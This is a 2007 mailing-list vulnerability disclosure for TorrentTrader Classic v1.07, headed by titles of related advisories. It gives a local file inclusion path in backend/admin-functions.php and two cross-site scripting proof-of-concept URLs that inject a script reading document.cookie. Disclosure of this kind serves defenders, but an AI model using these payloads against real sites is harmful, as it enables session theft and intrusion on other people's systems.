Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[Aria-Security] Stuffed Tracker Multiple Cross-Site Scripting VULN

new vuln in snewscms.net.ru in lang file

Else If cms Multiple Remote vulnerabilities

idmos-phoenix cms Remote File inclusion

From:	HACKERS PAL <security_(at)_soqor.net>
Date:	08.10.2007
Subject:	TorrentTrader Classic Mutiple Remote vulnerabilities

Hello,,

TorrentTrader Classic Mutiple Remote vulnerabilities

Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : security@soqor.net


Tested on TorrentTrader Classic v1.07

local file inclusion

backend/admin-functions.php?ss_uri=dd

Xss
pjirc/css.php?color=<script>alert(document.
cookie);</script>
browse.php?cat=<script>alert(document.cookie);</script>

#WwW.SoQoR.NeT